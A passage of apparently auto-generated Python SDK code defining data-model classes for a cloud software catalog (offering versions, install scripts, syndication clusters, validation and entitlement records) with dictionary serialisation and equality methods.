:param str instructions: (optional) Instruction on step and by whom (role)
that are needed to take place to prepare the target for installing this
version.
:param str script: (optional) Optional script that needs to be run post any
pre-condition script.
:param str script_permission: (optional) Optional iam permissions that are
required on the target cluster to run this script.
:param str delete_script: (optional) Optional script that if run will
remove the installed version.
:param str scope: (optional) Optional value indicating if this script is
scoped to a namespace or the entire cluster.
"""
self.instructions = instructions
self.script = script
self.script_permission = script_permission
self.delete_script = delete_script
self.scope = scope
@classmethod
def from_dict(cls, _dict: Dict) -> 'Script':
"""Initialize a Script object from a json dictionary."""
args = {}
if 'instructions' in _dict:
args['instructions'] = _dict.get('instructions')
if 'script' in _dict:
args['script'] = _dict.get('script')
if 'script_permission' in _dict:
args['script_permission'] = _dict.get('script_permission')
if 'delete_script' in _dict:
args['delete_script'] = _dict.get('delete_script')
if 'scope' in _dict:
args['scope'] = _dict.get('scope')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Script object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'instructions') and self.instructions is not None:
_dict['instructions'] = self.instructions
if hasattr(self, 'script') and self.script is not None:
_dict['script'] = self.script
if hasattr(self, 'script_permission') and self.script_permission is not None:
_dict['script_permission'] = self.script_permission
if hasattr(self, 'delete_script') and self.delete_script is not None:
_dict['delete_script'] = self.delete_script
if hasattr(self, 'scope') and self.scope is not None:
_dict['scope'] = self.scope
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Script object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Script') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Script') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class State():
"""
Offering state.
:attr str current: (optional) one of: new, validated, account-published,
ibm-published, public-published.
:attr datetime current_entered: (optional) Date and time of current request.
:attr str pending: (optional) one of: new, validated, account-published,
ibm-published, public-published.
:attr datetime pending_requested: (optional) Date and time of pending request.
:attr str previous: (optional) one of: new, validated, account-published,
ibm-published, public-published.
"""
def __init__(self,
*,
current: str = None,
current_entered: datetime = None,
pending: str = None,
pending_requested: datetime = None,
previous: str = None) -> None:
"""
Initialize a State object.
:param str current: (optional) one of: new, validated, account-published,
ibm-published, public-published.
:param datetime current_entered: (optional) Date and time of current
request.
:param str pending: (optional) one of: new, validated, account-published,
ibm-published, public-published.
:param datetime pending_requested: (optional) Date and time of pending
request.
:param str previous: (optional) one of: new, validated, account-published,
ibm-published, public-published.
"""
self.current = current
self.current_entered = current_entered
self.pending = pending
self.pending_requested = pending_requested
self.previous = previous
@classmethod
def from_dict(cls, _dict: Dict) -> 'State':
"""Initialize a State object from a json dictionary."""
args = {}
if 'current' in _dict:
args['current'] = _dict.get('current')
if 'current_entered' in _dict:
args['current_entered'] = string_to_datetime(_dict.get('current_entered'))
if 'pending' in _dict:
args['pending'] = _dict.get('pending')
if 'pending_requested' in _dict:
args['pending_requested'] = string_to_datetime(_dict.get('pending_requested'))
if 'previous' in _dict:
args['previous'] = _dict.get('previous')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a State object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'current') and self.current is not None:
_dict['current'] = self.current
if hasattr(self, 'current_entered') and self.current_entered is not None:
_dict['current_entered'] = datetime_to_string(self.current_entered)
if hasattr(self, 'pending') and self.pending is not None:
_dict['pending'] = self.pending
if hasattr(self, 'pending_requested') and self.pending_requested is not None:
_dict['pending_requested'] = datetime_to_string(self.pending_requested)
if hasattr(self, 'previous') and self.previous is not None:
_dict['previous'] = self.previous
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this State object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'State') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'State') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SyndicationAuthorization():
"""
Feature information.
:attr str token: (optional) Array of syndicated namespaces.
:attr datetime last_run: (optional) Date and time last updated.
"""
def __init__(self,
*,
token: str = None,
last_run: datetime = None) -> None:
"""
Initialize a SyndicationAuthorization object.
:param str token: (optional) Array of syndicated namespaces.
:param datetime last_run: (optional) Date and time last updated.
"""
self.token = token
self.last_run = last_run
@classmethod
def from_dict(cls, _dict: Dict) -> 'SyndicationAuthorization':
"""Initialize a SyndicationAuthorization object from a json dictionary."""
args = {}
if 'token' in _dict:
args['token'] = _dict.get('token')
if 'last_run' in _dict:
args['last_run'] = string_to_datetime(_dict.get('last_run'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SyndicationAuthorization object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'token') and self.token is not None:
_dict['token'] = self.token
if hasattr(self, 'last_run') and self.last_run is not None:
_dict['last_run'] = datetime_to_string(self.last_run)
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SyndicationAuthorization object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SyndicationAuthorization') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SyndicationAuthorization') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SyndicationCluster():
"""
Feature information.
:attr str region: (optional) Cluster region.
:attr str id: (optional) Cluster ID.
:attr str name: (optional) Cluster name.
:attr str resource_group_name: (optional) Resource group ID.
:attr str type: (optional) Syndication type.
:attr List[str] namespaces: (optional) Syndicated namespaces.
:attr bool all_namespaces: (optional) Syndicated to all namespaces on cluster.
"""
def __init__(self,
*,
region: str = None,
id: str = None,
name: str = None,
resource_group_name: str = None,
type: str = None,
namespaces: List[str] = None,
all_namespaces: bool = None) -> None:
"""
Initialize a SyndicationCluster object.
:param str region: (optional) Cluster region.
:param str id: (optional) Cluster ID.
:param str name: (optional) Cluster name.
:param str resource_group_name: (optional) Resource group ID.
:param str type: (optional) Syndication type.
:param List[str] namespaces: (optional) Syndicated namespaces.
:param bool all_namespaces: (optional) Syndicated to all namespaces on
cluster.
"""
self.region = region
self.id = id
self.name = name
self.resource_group_name = resource_group_name
self.type = type
self.namespaces = namespaces
self.all_namespaces = all_namespaces
@classmethod
def from_dict(cls, _dict: Dict) -> 'SyndicationCluster':
"""Initialize a SyndicationCluster object from a json dictionary."""
args = {}
if 'region' in _dict:
args['region'] = _dict.get('region')
if 'id' in _dict:
args['id'] = _dict.get('id')
if 'name' in _dict:
args['name'] = _dict.get('name')
if 'resource_group_name' in _dict:
args['resource_group_name'] = _dict.get('resource_group_name')
if 'type' in _dict:
args['type'] = _dict.get('type')
if 'namespaces' in _dict:
args['namespaces'] = _dict.get('namespaces')
if 'all_namespaces' in _dict:
args['all_namespaces'] = _dict.get('all_namespaces')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SyndicationCluster object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'region') and self.region is not None:
_dict['region'] = self.region
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'name') and self.name is not None:
_dict['name'] = self.name
if hasattr(self, 'resource_group_name') and self.resource_group_name is not None:
_dict['resource_group_name'] = self.resource_group_name
if hasattr(self, 'type') and self.type is not None:
_dict['type'] = self.type
if hasattr(self, 'namespaces') and self.namespaces is not None:
_dict['namespaces'] = self.namespaces
if hasattr(self, 'all_namespaces') and self.all_namespaces is not None:
_dict['all_namespaces'] = self.all_namespaces
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SyndicationCluster object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SyndicationCluster') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SyndicationCluster') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SyndicationHistory():
"""
Feature information.
:attr List[str] namespaces: (optional) Array of syndicated namespaces.
:attr List[SyndicationCluster] clusters: (optional) Array of syndicated
namespaces.
:attr datetime last_run: (optional) Date and time last syndicated.
"""
def __init__(self,
*,
namespaces: List[str] = None,
clusters: List['SyndicationCluster'] = None,
last_run: datetime = None) -> None:
"""
Initialize a SyndicationHistory object.
:param List[str] namespaces: (optional) Array of syndicated namespaces.
:param List[SyndicationCluster] clusters: (optional) Array of syndicated
namespaces.
:param datetime last_run: (optional) Date and time last syndicated.
"""
self.namespaces = namespaces
self.clusters = clusters
self.last_run = last_run
@classmethod
def from_dict(cls, _dict: Dict) -> 'SyndicationHistory':
"""Initialize a SyndicationHistory object from a json dictionary."""
args = {}
if 'namespaces' in _dict:
args['namespaces'] = _dict.get('namespaces')
if 'clusters' in _dict:
args['clusters'] = [SyndicationCluster.from_dict(x) for x in _dict.get('clusters')]
if 'last_run' in _dict:
args['last_run'] = string_to_datetime(_dict.get('last_run'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SyndicationHistory object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'namespaces') and self.namespaces is not None:
_dict['namespaces'] = self.namespaces
if hasattr(self, 'clusters') and self.clusters is not None:
_dict['clusters'] = [x.to_dict() for x in self.clusters]
if hasattr(self, 'last_run') and self.last_run is not None:
_dict['last_run'] = datetime_to_string(self.last_run)
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SyndicationHistory object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SyndicationHistory') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SyndicationHistory') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class SyndicationResource():
"""
Feature information.
:attr bool remove_related_components: (optional) Remove related components.
:attr List[SyndicationCluster] clusters: (optional) Syndication clusters.
:attr SyndicationHistory history: (optional) Feature information.
:attr SyndicationAuthorization authorization: (optional) Feature information.
"""
def __init__(self,
*,
remove_related_components: bool = None,
clusters: List['SyndicationCluster'] = None,
history: 'SyndicationHistory' = None,
authorization: 'SyndicationAuthorization' = None) -> None:
"""
Initialize a SyndicationResource object.
:param bool remove_related_components: (optional) Remove related
components.
:param List[SyndicationCluster] clusters: (optional) Syndication clusters.
:param SyndicationHistory history: (optional) Feature information.
:param SyndicationAuthorization authorization: (optional) Feature
information.
"""
self.remove_related_components = remove_related_components
self.clusters = clusters
self.history = history
self.authorization = authorization
@classmethod
def from_dict(cls, _dict: Dict) -> 'SyndicationResource':
"""Initialize a SyndicationResource object from a json dictionary."""
args = {}
if 'remove_related_components' in _dict:
args['remove_related_components'] = _dict.get('remove_related_components')
if 'clusters' in _dict:
args['clusters'] = [SyndicationCluster.from_dict(x) for x in _dict.get('clusters')]
if 'history' in _dict:
args['history'] = SyndicationHistory.from_dict(_dict.get('history'))
if 'authorization' in _dict:
args['authorization'] = SyndicationAuthorization.from_dict(_dict.get('authorization'))
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a SyndicationResource object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'remove_related_components') and self.remove_related_components is not None:
_dict['remove_related_components'] = self.remove_related_components
if hasattr(self, 'clusters') and self.clusters is not None:
_dict['clusters'] = [x.to_dict() for x in self.clusters]
if hasattr(self, 'history') and self.history is not None:
_dict['history'] = self.history.to_dict()
if hasattr(self, 'authorization') and self.authorization is not None:
_dict['authorization'] = self.authorization.to_dict()
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this SyndicationResource object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'SyndicationResource') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'SyndicationResource') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Validation():
"""
Validation response.
:attr datetime validated: (optional) Date and time of last successful
validation.
:attr datetime requested: (optional) Date and time of last validation was
requested.
:attr str state: (optional) Current validation state - <empty>, in_progress,
valid, invalid, expired.
:attr str last_operation: (optional) Last operation (e.g. submit_deployment,
generate_installer, install_offering.
:attr object target: (optional) Validation target information (e.g. cluster_id,
region, namespace, etc). Values will vary by Content type.
"""
def __init__(self,
*,
validated: datetime = None,
requested: datetime = None,
state: str = None,
last_operation: str = None,
target: object = None) -> None:
"""
Initialize a Validation object.
:param datetime validated: (optional) Date and time of last successful
validation.
:param datetime requested: (optional) Date and time of last validation was
requested.
:param str state: (optional) Current validation state - <empty>,
in_progress, valid, invalid, expired.
:param str last_operation: (optional) Last operation (e.g.
submit_deployment, generate_installer, install_offering.
:param object target: (optional) Validation target information (e.g.
cluster_id, region, namespace, etc). Values will vary by Content type.
"""
self.validated = validated
self.requested = requested
self.state = state
self.last_operation = last_operation
self.target = target
@classmethod
def from_dict(cls, _dict: Dict) -> 'Validation':
"""Initialize a Validation object from a json dictionary."""
args = {}
if 'validated' in _dict:
args['validated'] = string_to_datetime(_dict.get('validated'))
if 'requested' in _dict:
args['requested'] = string_to_datetime(_dict.get('requested'))
if 'state' in _dict:
args['state'] = _dict.get('state')
if 'last_operation' in _dict:
args['last_operation'] = _dict.get('last_operation')
if 'target' in _dict:
args['target'] = _dict.get('target')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Validation object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'validated') and self.validated is not None:
_dict['validated'] = datetime_to_string(self.validated)
if hasattr(self, 'requested') and self.requested is not None:
_dict['requested'] = datetime_to_string(self.requested)
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state
if hasattr(self, 'last_operation') and self.last_operation is not None:
_dict['last_operation'] = self.last_operation
if hasattr(self, 'target') and self.target is not None:
_dict['target'] = self.target
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Validation object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Validation') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Validation') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class Version():
"""
Offering version information.
:attr str id: (optional) Unique ID.
:attr str rev: (optional) Cloudant revision.
:attr str crn: (optional) Version's CRN.
:attr str version: (optional) Version of content type.
:attr str sha: (optional) hash of the content.
:attr datetime created: (optional) The date and time this version was created.
:attr datetime updated: (optional) The date and time this version was last
updated.
:attr str offering_id: (optional) Offering ID.
:attr str catalog_id: (optional) Catalog ID.
:attr str kind_id: (optional) Kind ID.
:attr List[str] tags: (optional) List of tags associated with this catalog.
:attr str repo_url: (optional) Content's repo URL.
:attr str source_url: (optional) Content's source URL (e.g git repo).
:attr str tgz_url: (optional) File used to on-board this version.
:attr List[Configuration] configuration: (optional) List of user solicited
overrides.
:attr object metadata: (optional) Open ended metadata information.
:attr Validation validation: (optional) Validation response.
:attr List[Resource] required_resources: (optional) Resource requirments for
installation.
:attr bool single_instance: (optional) Denotes if single instance can be
deployed to a given cluster.
:attr Script install: (optional) Script information.
:attr List[Script] pre_install: (optional) Optional pre-install instructions.
:attr VersionEntitlement entitlement: (optional) Entitlement license info.
:attr List[License] licenses: (optional) List of licenses the product was built
with.
:attr str image_manifest_url: (optional) If set, denotes a url to a YAML file
with list of container images used by this version.
:attr bool deprecated: (optional) read only field, indicating if this version is
deprecated.
:attr str package_version: (optional) Version of the package used to create this
version.
:attr State state: (optional) Offering state.
:attr str version_locator: (optional) A dotted value of `catalogID`.`versionID`.
:attr str console_url: (optional) Console URL.
:attr str long_description: (optional) Long description for version.
:attr List[str] whitelisted_accounts: (optional) Whitelisted accounts for
version.
"""
def __init__(self,
*,
id: str = None,
rev: str = None,
crn: str = None,
version: str = None,
sha: str = None,
created: datetime = None,
updated: datetime = None,
offering_id: str = None,
catalog_id: str = None,
kind_id: str = None,
tags: List[str] = None,
repo_url: str = None,
source_url: str = None,
tgz_url: str = None,
configuration: List['Configuration'] = None,
metadata: object = None,
validation: 'Validation' = None,
required_resources: List['Resource'] = None,
single_instance: bool = None,
install: 'Script' = None,
pre_install: List['Script'] = None,
entitlement: 'VersionEntitlement' = None,
licenses: List['License'] = None,
image_manifest_url: str = None,
deprecated: bool = None,
package_version: str = None,
state: 'State' = None,
version_locator: str = None,
console_url: str = None,
long_description: str = None,
whitelisted_accounts: List[str] = None) -> None:
"""
Initialize a Version object.
:param str id: (optional) Unique ID.
:param str rev: (optional) Cloudant revision.
:param str crn: (optional) Version's CRN.
:param str version: (optional) Version of content type.
:param str sha: (optional) hash of the content.
:param datetime created: (optional) The date and time this version was
created.
:param datetime updated: (optional) The date and time this version was last
updated.
:param str offering_id: (optional) Offering ID.
:param str catalog_id: (optional) Catalog ID.
:param str kind_id: (optional) Kind ID.
:param List[str] tags: (optional) List of tags associated with this
catalog.
:param str repo_url: (optional) Content's repo URL.
:param str source_url: (optional) Content's source URL (e.g git repo).
:param str tgz_url: (optional) File used to on-board this version.
:param List[Configuration] configuration: (optional) List of user solicited
overrides.
:param object metadata: (optional) Open ended metadata information.
:param Validation validation: (optional) Validation response.
:param List[Resource] required_resources: (optional) Resource requirments
for installation.
:param bool single_instance: (optional) Denotes if single instance can be
deployed to a given cluster.
:param Script install: (optional) Script information.
:param List[Script] pre_install: (optional) Optional pre-install
instructions.
:param VersionEntitlement entitlement: (optional) Entitlement license info.
:param List[License] licenses: (optional) List of licenses the product was
built with.
:param str image_manifest_url: (optional) If set, denotes a url to a YAML
file with list of container images used by this version.
:param bool deprecated: (optional) read only field, indicating if this
version is deprecated.
:param str package_version: (optional) Version of the package used to
create this version.
:param State state: (optional) Offering state.
:param str version_locator: (optional) A dotted value of
`catalogID`.`versionID`.
:param str console_url: (optional) Console URL.
:param str long_description: (optional) Long description for version.
:param List[str] whitelisted_accounts: (optional) Whitelisted accounts for
version.
"""
self.id = id
self.rev = rev
self.crn = crn
self.version = version
self.sha = sha
self.created = created
self.updated = updated
self.offering_id = offering_id
self.catalog_id = catalog_id
self.kind_id = kind_id
self.tags = tags
self.repo_url = repo_url
self.source_url = source_url
self.tgz_url = tgz_url
self.configuration = configuration
self.metadata = metadata
self.validation = validation
self.required_resources = required_resources
self.single_instance = single_instance
self.install = install
self.pre_install = pre_install
self.entitlement = entitlement
self.licenses = licenses
self.image_manifest_url = image_manifest_url
self.deprecated = deprecated
self.package_version = package_version
self.state = state
self.version_locator = version_locator
self.console_url = console_url
self.long_description = long_description
self.whitelisted_accounts = whitelisted_accounts
@classmethod
def from_dict(cls, _dict: Dict) -> 'Version':
"""Initialize a Version object from a json dictionary."""
args = {}
if 'id' in _dict:
args['id'] = _dict.get('id')
if '_rev' in _dict:
args['rev'] = _dict.get('_rev')
if 'crn' in _dict:
args['crn'] = _dict.get('crn')
if 'version' in _dict:
args['version'] = _dict.get('version')
if 'sha' in _dict:
args['sha'] = _dict.get('sha')
if 'created' in _dict:
args['created'] = string_to_datetime(_dict.get('created'))
if 'updated' in _dict:
args['updated'] = string_to_datetime(_dict.get('updated'))
if 'offering_id' in _dict:
args['offering_id'] = _dict.get('offering_id')
if 'catalog_id' in _dict:
args['catalog_id'] = _dict.get('catalog_id')
if 'kind_id' in _dict:
args['kind_id'] = _dict.get('kind_id')
if 'tags' in _dict:
args['tags'] = _dict.get('tags')
if 'repo_url' in _dict:
args['repo_url'] = _dict.get('repo_url')
if 'source_url' in _dict:
args['source_url'] = _dict.get('source_url')
if 'tgz_url' in _dict:
args['tgz_url'] = _dict.get('tgz_url')
if 'configuration' in _dict:
args['configuration'] = [Configuration.from_dict(x) for x in _dict.get('configuration')]
if 'metadata' in _dict:
args['metadata'] = _dict.get('metadata')
if 'validation' in _dict:
args['validation'] = Validation.from_dict(_dict.get('validation'))
if 'required_resources' in _dict:
args['required_resources'] = [Resource.from_dict(x) for x in _dict.get('required_resources')]
if 'single_instance' in _dict:
args['single_instance'] = _dict.get('single_instance')
if 'install' in _dict:
args['install'] = Script.from_dict(_dict.get('install'))
if 'pre_install' in _dict:
args['pre_install'] = [Script.from_dict(x) for x in _dict.get('pre_install')]
if 'entitlement' in _dict:
args['entitlement'] = VersionEntitlement.from_dict(_dict.get('entitlement'))
if 'licenses' in _dict:
args['licenses'] = [License.from_dict(x) for x in _dict.get('licenses')]
if 'image_manifest_url' in _dict:
args['image_manifest_url'] = _dict.get('image_manifest_url')
if 'deprecated' in _dict:
args['deprecated'] = _dict.get('deprecated')
if 'package_version' in _dict:
args['package_version'] = _dict.get('package_version')
if 'state' in _dict:
args['state'] = State.from_dict(_dict.get('state'))
if 'version_locator' in _dict:
args['version_locator'] = _dict.get('version_locator')
if 'console_url' in _dict:
args['console_url'] = _dict.get('console_url')
if 'long_description' in _dict:
args['long_description'] = _dict.get('long_description')
if 'whitelisted_accounts' in _dict:
args['whitelisted_accounts'] = _dict.get('whitelisted_accounts')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a Version object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'id') and self.id is not None:
_dict['id'] = self.id
if hasattr(self, 'rev') and self.rev is not None:
_dict['_rev'] = self.rev
if hasattr(self, 'crn') and self.crn is not None:
_dict['crn'] = self.crn
if hasattr(self, 'version') and self.version is not None:
_dict['version'] = self.version
if hasattr(self, 'sha') and self.sha is not None:
_dict['sha'] = self.sha
if hasattr(self, 'created') and self.created is not None:
_dict['created'] = datetime_to_string(self.created)
if hasattr(self, 'updated') and self.updated is not None:
_dict['updated'] = datetime_to_string(self.updated)
if hasattr(self, 'offering_id') and self.offering_id is not None:
_dict['offering_id'] = self.offering_id
if hasattr(self, 'catalog_id') and self.catalog_id is not None:
_dict['catalog_id'] = self.catalog_id
if hasattr(self, 'kind_id') and self.kind_id is not None:
_dict['kind_id'] = self.kind_id
if hasattr(self, 'tags') and self.tags is not None:
_dict['tags'] = self.tags
if hasattr(self, 'repo_url') and self.repo_url is not None:
_dict['repo_url'] = self.repo_url
if hasattr(self, 'source_url') and self.source_url is not None:
_dict['source_url'] = self.source_url
if hasattr(self, 'tgz_url') and self.tgz_url is not None:
_dict['tgz_url'] = self.tgz_url
if hasattr(self, 'configuration') and self.configuration is not None:
_dict['configuration'] = [x.to_dict() for x in self.configuration]
if hasattr(self, 'metadata') and self.metadata is not None:
_dict['metadata'] = self.metadata
if hasattr(self, 'validation') and self.validation is not None:
_dict['validation'] = self.validation.to_dict()
if hasattr(self, 'required_resources') and self.required_resources is not None:
_dict['required_resources'] = [x.to_dict() for x in self.required_resources]
if hasattr(self, 'single_instance') and self.single_instance is not None:
_dict['single_instance'] = self.single_instance
if hasattr(self, 'install') and self.install is not None:
_dict['install'] = self.install.to_dict()
if hasattr(self, 'pre_install') and self.pre_install is not None:
_dict['pre_install'] = [x.to_dict() for x in self.pre_install]
if hasattr(self, 'entitlement') and self.entitlement is not None:
_dict['entitlement'] = self.entitlement.to_dict()
if hasattr(self, 'licenses') and self.licenses is not None:
_dict['licenses'] = [x.to_dict() for x in self.licenses]
if hasattr(self, 'image_manifest_url') and self.image_manifest_url is not None:
_dict['image_manifest_url'] = self.image_manifest_url
if hasattr(self, 'deprecated') and self.deprecated is not None:
_dict['deprecated'] = self.deprecated
if hasattr(self, 'package_version') and self.package_version is not None:
_dict['package_version'] = self.package_version
if hasattr(self, 'state') and self.state is not None:
_dict['state'] = self.state.to_dict()
if hasattr(self, 'version_locator') and self.version_locator is not None:
_dict['version_locator'] = self.version_locator
if hasattr(self, 'console_url') and self.console_url is not None:
_dict['console_url'] = self.console_url
if hasattr(self, 'long_description') and self.long_description is not None:
_dict['long_description'] = self.long_description
if hasattr(self, 'whitelisted_accounts') and self.whitelisted_accounts is not None:
_dict['whitelisted_accounts'] = self.whitelisted_accounts
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this Version object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'Version') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'Version') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class VersionEntitlement():
"""
Entitlement license info.
:attr str provider_name: (optional) Provider name.
:attr str provider_id: (optional) Provider ID.
:attr str product_id: (optional) Product ID.
:attr List[str] part_numbers: (optional) list of license entitlement part
numbers, eg. D1YGZLL,D1ZXILL.
:attr str image_repo_name: (optional) Image repository name.
"""
def __init__(self,
*,
provider_name: str = None,
provider_id: str = None,
product_id: str = None,
part_numbers: List[str] = None,
image_repo_name: str = None) -> None:
"""
Initialize a VersionEntitlement object.
:param str provider_name: (optional) Provider name.
:param str provider_id: (optional) Provider ID.
:param str product_id: (optional) Product ID.
:param List[str] part_numbers: (optional) list of license entitlement part
numbers, eg. D1YGZLL,D1ZXILL.
:param str image_repo_name: (optional) Image repository name.
"""
self.provider_name = provider_name
self.provider_id = provider_id
self.product_id = product_id
self.part_numbers = part_numbers
self.image_repo_name = image_repo_name
@classmethod
def from_dict(cls, _dict: Dict) -> 'VersionEntitlement':
"""Initialize a VersionEntitlement object from a json dictionary."""
args = {}
if 'provider_name' in _dict:
args['provider_name'] = _dict.get('provider_name')
if 'provider_id' in _dict:
args['provider_id'] = _dict.get('provider_id')
if 'product_id' in _dict:
args['product_id'] = _dict.get('product_id')
if 'part_numbers' in _dict:
args['part_numbers'] = _dict.get('part_numbers')
if 'image_repo_name' in _dict:
args['image_repo_name'] = _dict.get('image_repo_name')
return cls(**args)
@classmethod
def _from_dict(cls, _dict):
"""Initialize a VersionEntitlement object from a json dictionary."""
return cls.from_dict(_dict)
def to_dict(self) -> Dict:
"""Return a json dictionary representing this model."""
_dict = {}
if hasattr(self, 'provider_name') and self.provider_name is not None:
_dict['provider_name'] = self.provider_name
if hasattr(self, 'provider_id') and self.provider_id is not None:
_dict['provider_id'] = self.provider_id
if hasattr(self, 'product_id') and self.product_id is not None:
_dict['product_id'] = self.product_id
if hasattr(self, 'part_numbers') and self.part_numbers is not None:
_dict['part_numbers'] = self.part_numbers
if hasattr(self, 'image_repo_name') and self.image_repo_name is not None:
_dict['image_repo_name'] = self.image_repo_name
return _dict
def _to_dict(self):
"""Return a json dictionary representing this model."""
return self.to_dict()
def __str__(self) -> str:
"""Return a `str` version of this VersionEntitlement object."""
return json.dumps(self.to_dict(), indent=2)
def __eq__(self, other: 'VersionEntitlement') -> bool:
"""Return `true` when self and other are equal, false otherwise."""
if not isinstance(other, self.__class__):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other: 'VersionEntitlement') -> bool:
"""Return `true` when self and other are not equal, false otherwise."""
return not self == other
class VersionUpdateDescriptor():
"""
Indicates if the current version can be upgraded to the version identified by the
descriptor.
:attr str version_locator: (optional) A dotted value of `catalogID`.`versionID`.
:attr str version: (optional) the version number of this version.
:attr State state: (optional) Offering state.
:attr List[Resource] required_resources: (optional) Resource requirments for
installation.
:attr str package_version: (optional) Version of package.
:attr bool can_update: (optional) true if the current version can be upgraded to
this version, false otherwise.
:attr object messages: (optional) If can_update is false, this map will contain
messages for each failed check, otherwise it will be omitted. Possible keys
include nodes, cores, mem, disk, targetVersion, and install-permission-check.
"""
def __init__(self,
*,
version_locator: str = None,
version: str = None,
state: 'State' = None,
required_resources: List['Resource'] = None,
package_version: str = None,
can_update: bool = None,
messages: object = None) -> None:
"""
Initialize a VersionUpdateDescriptor object.
:param str version_locator: (optional) A dotted value of
`catalogID`.`versionID`.
:param str version: (optional) the version number of this version.
:param State state: (optional) Offering state.
:param List[Resource] required_resources: (optional) Resource requirments
for installation.
:param str package_version: (optional) Version of package.
:param bool can_update: (optional) true if the current version can be
upgraded to this version, false otherwise.
:param object messages: (optional) If can_update is false, this map will
contain messages for each failed check, otherwise it will be omitted.
Possible keys include nodes, cores, mem, disk, targetVersion, and
install-permission-check.
"""
self.version_locator = version_locator
self.version = version
self.state = state
self.required_resources = required_resources
self.package_version = package_version
self.can_update = can_update
self.messages = messages
@classmethod
def from_dict(cls, _dict: Dict) -> 'VersionUpdateDescriptor':
"""Initialize a VersionUpdateDescriptor object from a json dictionary."""
args = {}
if 'version_locator' in _dict:
args['version_locator'] = _dict.get('version_locator')
if 'version' in _dict:
args['version'] = _dict.get('version')
if 'state' in _dict:
args['state'] = State.from_dict(_dict.get('state'))
